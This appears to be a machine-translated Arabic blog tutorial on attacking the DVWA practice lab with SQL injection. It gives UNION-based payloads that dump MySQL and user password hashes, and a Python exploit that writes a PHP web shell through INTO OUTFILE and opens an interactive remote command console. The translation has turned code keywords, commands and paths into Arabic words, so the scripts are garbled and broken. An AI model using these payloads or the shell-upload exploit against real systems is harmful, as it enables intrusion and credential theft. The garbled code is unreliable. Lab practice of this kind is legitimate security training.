لعنة الضعيفة تطبيق ويب – حقن SQL
الكاتب:
أشفق الأنصاري

تم التعليق بواسطة:
تصنيف:
5
في أكتوبر 1, 2012
آخر تعديل:يناير 18, 2013

ملخص:

خطوة خطوة والنهج الآلي للقيام هجوم حقن SQL على اللعنة الضعيفة تطبيق ويب.

مقدمة

لعنة الضعيفة تطبيق ويب (DVWA) هو PHP / ماي تطبيق ويب الذي هو عرضة لعنة ويمكن استغلالها easily.Its الأهداف الرئيسية هي أن تكون المعونة من أجل المتخصصين في مجال الأمن لاختبار المهارات والأدوات في بيئة قانونية, مساعدة مطوري الويب فهم أفضل للعمليات تأمين تطبيقات الويب والمعلمين المساعدات / طلاب لتعليم / تعلم أمن تطبيقات الويب في بيئة معملية.

تحذير!

لعنة الضعيفة تطبيق ويب هو عرضة لعنة! لا تحميله إلى حسابك في استضافة موفر بوبليك مجلد أو أي خادم الويب تعمل كما سيتم اخترق. أوصي تحميل وتثبيت XAMPP على جهاز محلي داخل الشبكة المحلية الخاصة بك والتي تستخدم فقط لاختبار.
ونحن لا نتحمل المسؤولية عن الطريقة التي يستخدم أي واحد لعنة الضعيفة تطبيق ويب (DVWA). لقد حققنا مقاصد واضحة للتطبيق، وأنه لا ينبغي أن تستخدم بشكل ضار. لأننا قدمنا ​​التحذيرات والتدابير المتخذة لمنع المستخدمين من تثبيت DVWA على العيش خوادم الويب. إذا تم اختراق خادم الويب الخاص بك عن طريق تركيب DVWA فإنه ليس من مسؤوليتنا هو مسؤولية الشخص الذي قام بتحميل وتثبيته.

تركيب

عموما نحن بحاجة XAMPP الخادم لإعداد لعنة تطبيق ويب الضعيفة ولكن XAMPP الخادم ليست سوى مجموعة من أباتشي, SQL, بيرل, PHP, بينسل وغيرها من البرامج جانب الملقم ولكن بكترك 5 لديه كل من كان مثبتا هذه البرمجيات. وهذا يعني ليست هناك حاجة لتثبيت XAMPP على الجهاز التراجع. كل ما عليك القيام به هو الحصول على اللعنة الضعيفة تطبيقات الويب ووضعها على الدليل الجذر بكترك 5.

وهناك سيناريو باش رائع يتوفر أن أتمتة كل عملية. بفضل: ترافيس فيليبس.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
صدى ""
صدى "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
صدى "# لعنة تطبيق ويب الضعيفة النصي المثبت #"
صدى "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
صدى "الأكواد عن طريق: ترافيس فيليبس"
صدى "الموقع الإلكتروني: HTTP://theunl33t.blogspot.com"
صدى "تم التعديل بواسطة: أشفق الأنصاري"
صدى "الموقع الإلكتروني: HTTP://hacksys.vfreaks.com"

صدى "[*] تغيير الدليل إلى / فار / على شبكة الاتصالات العالمية ..."
القرص المضغوط /كان/شبكة الاتصالات العالمية > /ديف/صفر
صدى "تم!"

صدى "[*] إنشاء دليل DVWA ..."
MKDIR dvwa > /ديف/صفر
صدى "تم!"

صدى "[*] تغيير إلى دليل Temp ..."
القرص المضغوط /تمة
صدى "تم!"

صدى "[*] تحميل DVWA ..."
مجلد مشترك HTTP://voxel.dl.sourceforge.net/مشروع/dvwa/DVWA-1.0.7.zip
صدى "تم!"

صدى "[*] DVWA حيويي ..."
بفك DVWA-1.0.7.zip > /ديف/صفر
صدى "تم!"

صدى "[*] حذف ملف مضغوط ..."
RM DVWA-1.0.7.zip > /ديف/صفر
صدى "تم!"

صدى "[*] نسخ dvwa إلى جذر دليل الويب ..."
CP -R dvwa/* /كان/شبكة الاتصالات العالمية/dvwa > /ديف/صفر
صدى "تم!"

صدى "[*] المقاصة دليل Temp ..."
RM -R dvwa > /ديف/صفر
صدى "تم!"

صدى "[*] يشمل ذلك تمكين البعيد في ملف php.ini ..."
CP /إلخ/PHP5/apache2/لغة PHP /إلخ/PHP5/apache2/php.ini1
عطش 'ق / allow_url_include = إيقاف / allow_url_include = تشغيل /' /إلخ/PHP5/apache2/php.ini1 > /إلخ/PHP5/apache2/لغة PHP
RM /إلخ/PHP5/apache2/php.ini1
صدى "تم!"

صدى "[*] تمكين أذونات الكتابة إلى / فار / على شبكة الاتصالات العالمية / dvwa / hackable / تحميل ..."
التصريح 777 /كان/شبكة الاتصالات العالمية/dvwa/hackable/الإضافات/
صدى "تم!"

صدى "[*] انطلاق خدمة الويب ..."
خدمة apache2 بداية &أمبير;> /ديف/صفر
صدى "تم!"

صدى "[*] تبدأ الخلية ..."
خدمة الخلية بداية &أمبير;> /ديف/صفر
صدى "تم!"

صدى "[*] تحديث ملف التكوين ..."
CP /كان/شبكة الاتصالات العالمية/dvwa/التكوين/config.inc.php /كان/شبكة الاتصالات العالمية/dvwa/التكوين/config.inc.php1
عطش 'ق /'\'\''/'\''الطور'\''/' /كان/شبكة الاتصالات العالمية/dvwa/التكوين/config.inc.php1 > /كان/شبكة الاتصالات العالمية/dvwa/التكوين/config.inc.php
RM /كان/شبكة الاتصالات العالمية/dvwa/التكوين/config.inc.php1
صدى "تم!"

صدى "[*] تحديث قاعدة البيانات ..."
مجلد مشترك --بعد البيانات "create_db = نشاء / إعادة تعيين قاعدة البيانات" HTTP://127.0.0.1/dvwa/ملف setup.php &أمبير;> /ديف/صفر
الخلية -أنت جذر --كلمة السر='الطور' 'dvwa.users التحديث تعيين الرمزية = "/ hackable / المستخدمين / gordonb.jpg" حيث المستخدم = "gordonb";'
الخلية -أنت جذر --كلمة السر='الطور' 'dvwa.users التحديث تعيين الرمزية = "/ hackable / المستخدمين / smithy.jpg" حيث المستخدم = "الحدادة";'
الخلية -أنت جذر --كلمة السر='الطور' 'dvwa.users التحديث تعيين الرمزية = "/ hackable / المستخدمين / admin.jpg" حيث المستخدم = "مشرف";'
الخلية -أنت جذر --كلمة السر='الطور' 'dvwa.users التحديث تعيين الرمزية = "/ hackable / المستخدمين / pablo.jpg" حيث المستخدم = "بابلو";'
الخلية -أنت جذر --كلمة السر='الطور' 'dvwa.users التحديث تعيين الرمزية = "/ hackable/users/1337.jpg" حيث المستخدم = "1337";'
صدى "تم!"

صدى "[*] انطلاق فايرفوكس لDVWAاسم المستخدم: مشرفكلمة السر: كلمة السر"
فايرفوكس HTTP://127.0.0.1/dvwa/login.php &أمبير;> /ديف/صفر &أمبير;
صدى "فعلت!"
صدى "[\033[1;32م * 033[1;37م] منتهية DVWA تثبيت!"

يتم تثبيت DVWA بنجاح, دعونا خطوة لحقن SQL. وهناك ثلاثة مستويات حقن SQL على اللعنة الضعيفة تطبيق ويب (منخفض, متوسطة وعالية). في هذا المنصب سوف نشرح كيفية هزيمة انخفاض مستوى.

كود الضعيفة

1
2
3
4
5
6
$معرف=$_GET['معرف'];

$getid="SELECT FIRST_NAME, LAST_NAME من مستخدمي WHERE USER_ID = '$معرف'";
$نتيجة=mysql_query($getid) أو ال('
<قبل>'
. mysql_error() . '</قبل>
'
);

رمز أعلاه هو عرضة لل حقن SQL. كما ترون لا يوجد الإبراء المستخدمة, يتم إدراج متغير ببساطة مباشرة الى استعلام SQL.

دعونا تأكيد ما إذا كان هو عرضة للحقن SQL:

هوية المستخدم: ‘

عاد الصفحة رسالة الخطأ التالية:

لديك خطأ في بناء جملة SQL الخاصة بك; دليل للتحقق من أن يتوافق مع إصدار خادم MySQL الخاص لبناء الجملة الحق في استخدام القريب ””’ في السطر 1

وهذا يؤكد أنه عرضة للحقن SQL, أول شيء فعله هو معرفة عدد الأعمدة هناك:

هوية المستخدم: ‘ ORDER BY 1#
هوية المستخدم: ‘ ORDER BY 2#

هذه ببساطة عودة نفس الصفحة.

هوية المستخدم: ‘ ORDER BY 3#

ثم وهذا يعطينا رسالة خطأ لا تقدر بثمن:

غير معروف العمود '3’ في 'شرط أجل’

من هنا, هناك عمودين, والتي هي من الواضح أن FIRST_NAME والأعمدة LAST_NAME كما عند تمرير معرف المستخدم: تشكل صالح هوية المستخدم (1) على سبيل المثال تحصل على هذا:

ID: 1
الاسم الأول: مشرف
لقب: مشرف

حق, والآن وقته لمعرفة اسم قاعدة البيانات, اسم الجدول, اسم العمود وأي شيء آخر مفيد ومثير للاهتمام. أول شيء دعونا أولا معرفة إصدار قاعدة بيانات:

ID: ‘ UNION ALL SELECT 1، @ @ VERSION #
الاسم الأول: 1
لقب: 5.1.41-3ubuntu12.10

لذلك هو استخدام الخلية 5.1.41-3 في أوبونتو. يتيح العثور على المستخدم تشغيل قاعدة البيانات كما واسم قاعدة البيانات التي نتعامل معها:

ID: ‘ UNION ALL SELECT المستخدم(),قاعدة بيانات()#
الاسم الأول: @ الجذر المضيف المحلي
لقب: dvwa

للمستخدم قاعدة البيانات جذر وقاعدة البيانات نشعر بالقلق مع هو dvwa. منذ كان المستخدم الجذر دعونا تفريغ الخلية التجزئة:

ID: ‘ UNION ALL SELECT المستخدم,كلمة السر من mysql.user #
الاسم الأول: جذر
لقب: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT المستخدم,كلمة السر من mysql.user #
الاسم الأول: جذر
لقب: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT المستخدم,كلمة السر من mysql.user #
الاسم الأول: جذر
لقب: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT المستخدم,كلمة السر من mysql.user #
الاسم الأول: ديبيان-SYS-تحتفظ باتجاه الصعود
لقب: *8C4C424D182238AFBA8B217F692D07C952EF4087

ID: ‘ UNION ALL SELECT المستخدم,كلمة السر من mysql.user #
الاسم الأول: جذر
لقب: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT المستخدم,كلمة السر من mysql.user #
الاسم الأول: مشرف
لقب: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

نجاح باهر! حصلنا على تجزئة passord الجذر. يمكننا استخدام جون السفاح للقضاء على هذه التجزئة.

نحن نعرف اسم قاعدة البيانات هو dvwa. دعونا معرفة اسم الجدول:

ID: ‘ UNION ALL SELECT TABLE_SCHEMA,TABLE_NAME من INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: سجل الزوار

ID: ‘ UNION ALL SELECT TABLE_SCHEMA,TABLE_NAME من INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: المستخدمين

هناك نوعان من الجداول في dvwa قاعدة بيانات يدعى سجل الزوار و المستخدمين

الآن, دعونا تجد الأعمدة في المستخدمين جدول.

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME من information_schema.columns WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: comment_id

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME من information_schema.columns WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: تعليق

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME من information_schema.columns WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: اسم

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME من information_schema.columns WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: USER_ID

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME من information_schema.columns WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: FIRST_NAME

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME من information_schema.columns WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: LAST_NAME

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME من information_schema.columns WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: المستخدم

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME من information_schema.columns WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: كلمة السر

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME من information_schema.columns WHERE TABLE_SCHEMA LIKE '٪ dvwa٪’ #
الاسم الأول: dvwa
لقب: الصورة الرمزية

مرعب, دعونا تفريغ اسم المستخدم وكلمة السر من dvwa.users جدول. ها نحن.

ID: ‘ UNION ALL SELECT المستخدم, كلمة السر من dvwa.users #
الاسم الأول: مشرف
لقب: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ‘ UNION ALL SELECT المستخدم, كلمة السر من dvwa.users #
الاسم الأول: gordonb
لقب: e99a18c428cb38d5f260853678922e03

ID: ‘ UNION ALL SELECT المستخدم, كلمة السر من dvwa.users #
الاسم الأول: 1337
لقب: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ‘ UNION ALL SELECT المستخدم, كلمة السر من dvwa.users #
الاسم الأول: بابلو
لقب: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ‘ UNION ALL SELECT المستخدم, كلمة السر من dvwa.users #
الاسم الأول: دكان الحداد
لقب: 5f4dcc3b5aa765d61d8327deb882cf99

المهمة. لقد ألقيت بيانات اعتماد المستخدم بنجاح. ونحن قد قضاء عليها باستخدام أي تكسير تجزئة MD5.

HackSys الفريق خلقت أوفدها مركز العمليات في بيثون أن يساعد في حقن SQL الآلي على DVWA ويعطي قذيفة موجه حيث يمكننا تشغيل الأوامر قذيفة العادية.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/البيرة / بن / بيثون
#________________________________________________
#    لعنة الضعيفة تطبيق ويب - DVWA
#     SQL حقن استغلال لRCE - اضغط لتتحدث
#   بواسطة أشفق الأنصاري (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (المحدودة)   HTTP://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ السلطة من قبل فريق HackSys - النمر
#________________________________________________
#
استيراد SYS, مقبس, urllib, إعادة, urllib2, getpass, سلسلة, وقت, عشوائية, base64 في
من optparse استيراد OptionParser
من cookielib استيراد CookieJar

descLogo = """
________________________________________________

     لعنة الضعيفة تطبيق ويب - DVWA
           SQL حقن لRCE - اضغط لتتحدث
   بواسطة أشفق الأنصاري (hacksysteam@hotmail.com)

            (__)
            (المحدودة)  HTTP://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ السلطة من قبل فريق HackSys - النمر
________________________________________________

"""


#المتغيرات اللون ليتم استخدامها مع أمر الطباعة
RED= "\033[31م" # أحمر
الأخضر= "\033[32م" # أخضر
WHITE= "\033[0م" # أبيض
CYAN = "\033[36م" #السماوي
PURPLE = "\033[35م" #أرجواني

#المتغيرات
urlStart = "وجود ثغرات أمنية / sqli / index.php?ID ="
urlEnd = "&يقدم = إرسال"
shellName = "fd7cb4cb0031ba249"
وكلاء = ["Mozilla/4.0 (ملائم; MSIE 5.5; ويندوز NT 5.0)",
    "إنترنت إكسبلورر 7 (نظام التشغيل Windows Vista); Mozilla/4.0 ",
    "جوجل كروم 0.2.149.29 (ويندوز XP)",
    "أوبرا 9.25 (نظام التشغيل Windows Vista)",
    "Mozilla/4.0 (ملائم; MSIE 7.0b; ويندوز NT 5.1)",
    "Opera/8.00 (ويندوز NT 5.1; أنت; في)"]
وكيل = عشوائية.خيار(وكلاء)


#ملخص الاستخدام مساعدة
استعمال = CYAN + "بروغ. /٪ [<خيارات>] -ر [الهدف] -د [دليل]"
استعمال += "مثال: ./%بروغ-P المضيف المحلي:8080 -ر 192.168.1.15:8080 -د / dvwa /"

#خيارات محلل
محلل = OptionParser(استعمال=استعمال)
محلل.add_option("-P", نوع="سلسلة",عمل="مخزن", دست="الوكيل",
                  مساعدة="وكيل HTTP <الخادم:ميناء>")
محلل.add_option("-T", نوع="سلسلة", عمل="مخزن", دست="الهدف",
                  مساعدة="الملقم الهدف <الخادم:ميناء>")
محلل.add_option("-D", نوع="سلسلة", عمل="مخزن", دست="DirPath",
                  مساعدة="مسار الدليل إلى لعنة الضعيفة تطبيق ويب")
(خيارات, وسائط) = محلل.parse_args()


#كتابة النص - للمتعة فقط
مواطنه typingText(رسالة نصية, اللون):
 
  محاولة:
    إلى أنا في رسالة نصية:
      طباعة اللون + "%ق"%أنا,
      SYS.المعياري.دافق()
      وقت.نوم(0.020)
  إلا:
    تجاوز
 

إذا فقط(SYS.ARGV) < 5:
    typingText(descLogo, PURPLE)
    محلل.print_help()
    SYS.خروج(1)
   

#معالج الوكيل
مواطنه getProxy():
 
    محاولة:
        proxy_handler = urllib2.معالج الوكيل({'HTTP': خيارات.الوكيل})
    إلا(مقبس.مهلة):
            طباعة RED + "توقيت الوكيل بها ..."
            SYS.خروج(1)
    عودة proxy_handler


#اتصال وكيل اختبار
مواطنه testProxy():
 
    طباعة(CYAN + "[+] اختبار الوكيل @٪ ق ..." % (خيارات.الوكيل))
    فتاحة = urllib2.build_opener(getProxy())
   
    محاولة:
      تحقق = فتاحة.فتح("HTTP://www.google.com").قرأ()
    إلا:
      تحقق = 0
      تجاوز
   
    إذا تحقق >= 1:
      طباعة(الأخضر + "تم العثور على الوكيل أن تعمل ...")
    آخر:
      طباعة RED + "فشل الوكيل ... الخروج!"
      SYS.خروج(1)


#الحصول على استجابة من الملقم
مواطنه getServerResponse(CJ, targetURL, معطيات):
     
    إذا خيارات.الوكيل:
      محاولة:
    فتاحة = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(CJ))
    فتاحة.addheaders = [("وكيل المستخدم ', وكيل)]
    تحقق = فتاحة.فتح(targetURL, معطيات).قرأ()
    عودة تحقق
      إلا:
    طباعة (RED + "فشل اتصال وكيل لهدف بعيد ...")
    SYS.خروج(1)
    آخر:
      محاولة:
    فتاحة = urllib2.build_opener(urllib2.HTTPCookieProcessor(CJ))
    فتاحة.addheaders = [("وكيل المستخدم ', وكيل)]
    تحقق = فتاحة.فتح(targetURL, معطيات).قرأ()
    عودة تحقق
      إلا:
    طباعة (RED + "فشل الاتصال الهدف, مراجعة عنوانك ...")
    SYS.خروج(1)


#محاولة للدخول إلى لعنة الضعيفة تطبيق ويب
مواطنه doLogin():
 
    طباعة(CYAN + "[+] محاولة للدخول إلى DVWA ...")
    targetURL = "HTTP://" + خيارات.الهدف + خيارات.dirPath + "login.php"
    القيم = {'المستخدم' : 'مشرف', 'كلمة السر' : 'كلمة السر', 'الدخول' : 'الدخول'}
    معطيات = urllib.urlencode(القيم)
    CJ = CookieJar()
   
    #الحصول على استجابة من الملقم وتخزينها في متغير
    respHTML = getServerResponse(CJ, targetURL, معطيات)
       
    إذا ليس إعادة.بحث("فشل تسجيل الدخول", respHTML):
      وقت.نوم(1)
      typingText("المصادقة الناجحة ...", الأخضر)
      عودة CJ
    آخر:
      وقت.نوم(1)
      typingText("نفى المصادقة! الخروج ...", RED)
      SYS.خروج(1)


#محاولة tamperthe مستوى الأمان من اللعنة الضعيفة تطبيق ويب
مواطنه lowSecurity(adminCookie):
 
    طباعة(CYAN + "[+] العبث بأمن DVWA ...")
    targetURL = "HTTP://" + خيارات.الهدف + خيارات.dirPath + "security.php"
    القيم = {"الأمن" : 'منخفضة', 'seclev_submit' : 'إرسال'}
    معطيات = urllib.urlencode(القيم)
    CJ = adminCookie #عاد استخدام ملفات تعريف الارتباط من doLogin() وظيفة
   
    #الحصول على استجابة من الملقم وتخزينها في متغير
    respHTML = getServerResponse(CJ, targetURL, معطيات)
   
    إذا إعادة.بحث("مستوى الأمان حاليا <في>منخفض</في>", respHTML):
      وقت.نوم(1)
      typingText("مجموعة ناجحة مستوى الأمان إلى منخفض ...", الأخضر)
    آخر:
      وقت.نوم(1)
      typingText("غير قادر على العبث مستوى الأمان! الخروج ...", RED)
      SYS.خروج(1)


#معرفة ما اذا كان الهدف هو عرضة للحقن SQL
مواطنه testSQLinjection(adminCookie):
 
    طباعة(CYAN + "[+] التحقق إذا كان الهدف هو عرضة ...")
    injection_url = "1""
    targetURL = "HTTP://" + خيارات.الهدف + خيارات.dirPath + urlStart + injection_url + urlEnd
    معطيات = ""
   
    CJ = adminCookie #عاد استخدام ملفات تعريف الارتباط من doLogin() وظيفة

    #الحصول على استجابة من الملقم وتخزينها في متغير
    respHTML = getServerResponse(CJ, targetURL, معطيات)
   
    إذا إعادة.بحث("خطأ في بناء جملة SQL الخاصة بك", respHTML):
      وقت.نوم(1)
      typingText("w00t -- العثور على الهدف لتكون عرضة ...", الأخضر)
    آخر:
      وقت.نوم(1)
      typingText("o00w -- الهدف ليس ضعفا! الخروج ...", RED)    
      SYS.خروج(1)


#العثور على تفاصيل الخلية
مواطنه findMySQLInfo(adminCookie):
 
    طباعة(CYAN + "[+] Retriving معلومات الخلية ...")
    injection_url = "1" UNION ALL SELECT concat_ws(0x3b,0x4861636b537973205465616d,المستخدم(),قاعدة بيانات(),الإصدار(),0x4861636b537973205465616d)%2C2؛ #"
    targetURL = "HTTP://" + خيارات.الهدف + خيارات.dirPath + urlStart + injection_url + urlEnd
    معطيات = ""
   
    CJ = adminCookie #عاد استخدام ملفات تعريف الارتباط من doLogin() وظيفة

    #الحصول على استجابة من الملقم وتخزينها في متغير
    respHTML = getServerResponse(CJ, targetURL, معطيات)
   
    # الآن استخراج معلومات مثيرة للاهتمام
    get_secret_data = سلسلة.اكتشاف(respHTML,  "فريق HackSys")
     
    # إذا كان الهدف ليس الخروج المستضعفين
    إذا get_secret_data == -1:
        typingText("فشلت عملية. تخرج الآن ...", RED)
        SYS.خروج(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = سلسلة.اكتشاف(new_html4,  "فريق HackSys")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # وكان في استقبال البيانات, الآن شكل وعرضه
    formatted_output = الحادي و.انقسام(new_html_5,  ";")
    وقت.نوم(1)
    طباعة الأخضر + "قاعدة بيانات الخلية: ",  formatted_output[2]
    طباعة الأخضر + "الخلية النسخة : ",  formatted_output[3]
    طباعة الأخضر + "الخلية قاعدة بيانات العضو : ",  formatted_output[1]
    طباعة ""
    عودة


#محاولة عدد من السجلات في جدول المستخدمين
مواطنه findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1" UNION ALL SELECT 1٪ 2C COUNT(*)+من مستخدمي ٪ 3B٪ 23"
    targetURL = "HTTP://" + خيارات.الهدف + خيارات.dirPath + urlStart + injection_url + urlEnd
    معطيات = ""
   
    CJ = adminCookie #عاد استخدام ملفات تعريف الارتباط من doLogin() وظيفة

    #الحصول على استجابة من الملقم وتخزينها في متغير
    respHTML = getServerResponse(CJ, targetURL, معطيات)
   
    # الآن استخراج معلومات مثيرة للاهتمام
    get_secret_data = سلسلة.اكتشاف(respHTML,  "<ر>لقب:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = سلسلة.اكتشاف(new_html,  "</قبل>\R\R</شعبة>")  
    new_html_2 = new_html[:new_get_secret_data]

    # وكان في استقبال البيانات, الآن شكل وعرضه
    formatted_output = الحادي و.انقسام(new_html_2,  ": ")
    عودة formatted_output[2]
   

#محاولة تفريغ اسم المستخدم وكلمة السر من جدول المستخدمين
مواطنه findUserPasswords(adminCookie, مؤشر):
 
    injection_url = "1 ' UNION جميع SELECT 1٪ 2C concat_ws(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+من مستخدمي LIMIT" + الحادي و(مؤشر) + "٪ 2C30٪ 3B٪ 23"
    targetURL = "HTTP://" + خيارات.الهدف + خيارات.dirPath + urlStart + injection_url + urlEnd
    معطيات = ""
   
    CJ = adminCookie #عاد استخدام ملفات تعريف الارتباط من doLogin() وظيفة

    #الحصول على استجابة من الملقم وتخزينها في متغير
    respHTML = getServerResponse(CJ, targetURL, معطيات)
   
    # الآن استخراج معلومات مثيرة للاهتمام
    get_secret_data = سلسلة.اكتشاف(respHTML,  "فريق HackSys")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = سلسلة.اكتشاف(new_html,  "فريق HackSys")    
    new_html_2 = new_html[:new_get_secret_data]

    # وكان في استقبال البيانات, الآن شكل وعرضه
    formatted_output = الحادي و.انقسام(new_html_2,  ";")
    وقت.نوم(1)
    طباعة الأخضر + "هوية المستخدم : ",  formatted_output[1]
    طباعة الأخضر + "الاسم الأول: ",  formatted_output[2]
    طباعة الأخضر + "اسم العائلة : ",  formatted_output[3]
    طباعة الأخضر + "اسم المستخدم: ",  formatted_output[4]
    طباعة الأخضر + "كلمة البعثرة : ",  formatted_output[5]
    طباعة ""


#محاولة تحميل tinyShell لهجوم التفاعلية
مواطنه uploadShellViaSQLi(adminCookie):
 
    طباعة(CYAN + "[+] تحميل شل عبر SQLI ...")
   
    #XAMPP على نظام التشغيل Windows XP
    #injection_url = "1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:xampphtdocsdvwashell.php';#"

    #لينكس
    injection_url = "1٪ 27 UNION SELECT ALL ٪ 27٪ 27٪ 2C ٪ 27٪ 3C٪ 3Fphp نظام(base64_decode(%24_GET[%22كمد٪ 22٪ 5D٪ 29٪ 29٪ 3٪ 27٪ 3B ٪ 3F INTO OUTFILE٪ 27٪ 2Fvar٪ 2F٪ 2Fwww٪ 2Fdvwa" + shellName + ". فب٪ 27٪ 3B٪ 23"
   
    targetURL = "HTTP://" + خيارات.الهدف + خيارات.dirPath + urlStart + injection_url + urlEnd
    معطيات = ""
   
    CJ = adminCookie #عاد استخدام ملفات تعريف الارتباط من doLogin() وظيفة

    #الحصول على استجابة من الملقم وتخزينها في متغير
    respHTML = getServerResponse(CJ, targetURL, معطيات)

    إذا إعادة.بحث("<H3>هوية المستخدم:</H3>", respHTML):
      وقت.نوم(1)
      typingText("w00t -- قذيفة تحميلها بنجاح ...", الأخضر)
    أليف إعادة.بحث("موجود بالفعل</قبل>", respHTML):
      وقت.نوم(1)
      typingText("w00t -- قذيفة موجود بالفعل ...", الأخضر)  
    آخر:
      وقت.نوم(1)
      typingText("o00w -- غير قادر على تحميل قذيفة ...", RED)
      SYS.خروج(1)


#بدء الدورة هجوم التفاعلية
مواطنه interactiveAttack(adminCookie):
 
  طباعة CYAN + "[+] دخول وحدة التحكم عن بعد التفاعلية (ف لإنهاء)" + WHITE + "  HackSys الفريق - النمر   الكاتب: أشفق الأنصاري  hacksysteam@hotmail.com HTTP://hacksys.vfreaks.com /"
  HN = الأخضر + "٪ S @٪ S # " % (getpass.getuser(), خيارات.الهدف) + WHITE
  كمد = ""
  معطيات = ""
  CJ = adminCookie
  في حين كمد != 'س':
    محاولة:
      كمد = raw_input(HN)
      cmd64 = base64 في.b64encode(كمد)      
      targetURL = ("HTTP://%S٪ S٪ s.php?كمد =٪ S" % (خيارات.الهدف, خيارات.dirPath, shellName, cmd64))
      أو = getServerResponse(CJ, targetURL, cmd64)
      shellOutput = أو.انقسام("مشرف")
      طباعة WHITE + shellOutput[2]
    إلا:
      كسر
 
  # انتحار
  rmShell = base64 في.b64encode("٪ s.php RM" % (shellName))
  targetURL = ("HTTP://%S٪ S٪ s.php?كمد =٪ S" % (خيارات.الهدف, خيارات.dirPath, shellName, rmShell))
  أو = getServerResponse(CJ, targetURL, rmShell)

     
#الوظيفة الرئيسية
مواطنه رئيسي():
 
  #طباعة الشعار في أسلوب كتابة النص
  typingText(descLogo, PURPLE)
 
  #فحص وربط الملقم الوكيل إذا تم تحديدها باستخدام حجة-P
  إذا خيارات.الوكيل:
    testProxy()

  #الاستيلاء على الكعكة المشرف
  adminCookie = doLogin()
 
  #عبث مستوى الأمان
  lowSecurity(adminCookie)
 
  #اختبار SQL حقن الضعف
  testSQLinjection(adminCookie)
 
  #تفريغ تفاصيل الخلية
